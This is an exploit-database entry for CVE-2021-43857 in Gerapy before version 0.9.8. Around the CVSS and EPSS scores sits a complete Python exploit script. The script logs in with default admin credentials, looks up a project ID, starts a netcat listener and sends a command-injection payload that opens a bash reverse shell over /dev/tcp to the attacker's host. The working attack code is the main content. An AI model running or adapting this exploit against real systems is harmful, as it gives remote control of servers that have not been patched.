Lucene search

K
zdtJeremiasz Pluta1337DAY-ID-37199
HistoryJan 06, 2022 - 12:00 a.m.

Gerapy 0.9.7 - Remote Code Execution (Authenticated) Exploit

2022-01-0600:00:00
Jeremiasz Pluta
0day.today
235

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.036 Low

EPSS

Percentile

91.5%

# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://github.com/Gerapy/Gerapy
# Version: All versions of Gerapy prior to 0.9.8
# CVE: CVE-2021-43857
# Tested on: Gerapy 0.9.6

# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import json
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43857")
print(banner)
print('Exploit for CVE-2021-43857')
print('For: Gerapy < 0.9.8')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""

		#Login to the app (getting auth token)
		url = "http://" + target_ip + ":" + target_port
		r = requests.Session()
		print("[*] Resolving URL...")
		r1 = r.get(url)
		time.sleep(3)
		print("[*] Logging in to application...")
		r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)
		time.sleep(3)
		if (r2.status_code == 200):
			print('[*] Login successful! Proceeding...')
		else:
			print('[*] Something went wrong!')
			quit()

		#Create a header out of auth token (yep, it's bad as it looks)
		dict = json.loads(r2.text)
		temp_token = 'Token '
		temp_token2 = json.dumps(dict['token']).strip('"')
		auth_token = {}
		auth_token['Authorization'] = temp_token + temp_token2

		#Get the project list
		print("[*] Getting the project list")
		r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)
		time.sleep(3)

		if (r3.status_code != 200):
			print("[!] Something went wrong! Maybe the token is corrupted?")
			quit();

		#Parse the project name for a request (yep, it's worse than earlier)
		dict = r3.text # [{'name': 'test'}]
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		name = dict3[0]['name']
		print("[*] Found project: " + name)

		#use the id to check the project
		print("[*] Getting the ID of the project to build the URL")
		r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)
		time.sleep(3)
		if (r4.status_code != 200):
			print("[*] Something went wrong! I can't reach the found project!")
			quit();

		#format the json to dict
		dict = r4.text
		dict2 = json.dumps(dict)
		dict3 = json.loads(dict2)
		dict3 = json.loads(dict3)
		id = dict3['id']
		print("[*] Found ID of the project: ", id)
		time.sleep(1)

		#netcat listener
		print("[*] Setting up a netcat listener")
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)

		#exec the payload
		print("[*] Executing reverse shell payload")
		print("[*] Watchout for shell! :)")
		r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)
		listener.wait()

		if (r5.status_code == 200):
			print("[*] It worked!")
			listener.wait()
		else:
			print("[!] Something went wrong!")
			listener.terminate()

def get_args():
	parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')
	parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')
	args = parser.parse_args()
	return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.036 Low

EPSS

Percentile

91.5%